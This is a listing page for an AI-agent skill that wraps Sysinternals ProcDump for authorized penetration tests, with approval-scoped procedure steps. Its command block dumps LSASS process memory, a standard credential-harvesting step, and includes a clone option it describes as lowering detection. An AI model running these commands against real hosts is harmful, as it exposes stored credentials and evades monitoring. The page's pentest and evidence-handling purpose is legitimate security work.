# Procdump

> Use for tightly scoped process memory capture during authorized pentests. Trigger on approved process analysis, crash-style debugging, and validating whether a specific process boundary exposes sensitive material.

- Skill: `timsonner/procdump` (Agent Skill)
- Install (CLI): `npx skillmds@latest add timsonner/procdump`
- Raw SKILL.md: https://api.skillmd.com/api/skills/timsonner/procdump/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: MIT
- Author: timsonner (https://skillmd.com/u/timsonner)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/timsonner/procdump

---


# ProcDump

## Purpose

Use this skill only when the rules of engagement explicitly permit process memory capture on a named approved host.

## Phase Fit

- Primary: Validation and Controlled Impact Demonstration
- Secondary: Vulnerability Analysis, Retest and Closure

## Use When

- Need to prove whether a specific process boundary exposes sensitive material.
- Need controlled process capture for an approved debugging or credential-risk objective.
- Need a repeatable retest after host hardening.

## Avoid When

- Memory capture is not explicitly approved.
- Host or process scope is unclear.

## Inputs

- Approved host and target process
- Explicit approval for memory capture
- Evidence handling and storage rules

## Procedure

1. Confirm written approval for the exact process and host scope.
2. Capture only the minimum process dump required to answer the question.
3. Stop as soon as the approved proof standard is met.
4. Protect dumps as highly sensitive evidence.
5. Preserve the exact process and host context for retest.

## Command Syntax

Replace sample PIDs with the approved target process.

```cmd
:: Full memory dump of LSASS (requires SeDebugPrivilege)
procdump.exe -ma lsass.exe C:\temp\lsass.dmp

:: Dump by PID
procdump.exe -ma <PID> C:\temp\process.dmp

:: Mini dump (smaller, for crash analysis)
procdump.exe -mm <PID> C:\temp\process-mini.dmp

:: Clone the process before dumping (lower detection surface)
procdump.exe -r -ma lsass.exe C:\temp\lsass-clone.dmp

:: Dump on first-chance exception
procdump.exe -e 1 -ma lsass.exe C:\temp\lsass-exc.dmp
```

## Evidence to Capture

- Whether the approved process exposed material data
- Exact host, process, and dump mode used
- Minimal proof needed to support remediation

## Safety Boundaries

- Use only with explicit written approval.
- Treat all dumps as highly sensitive evidence.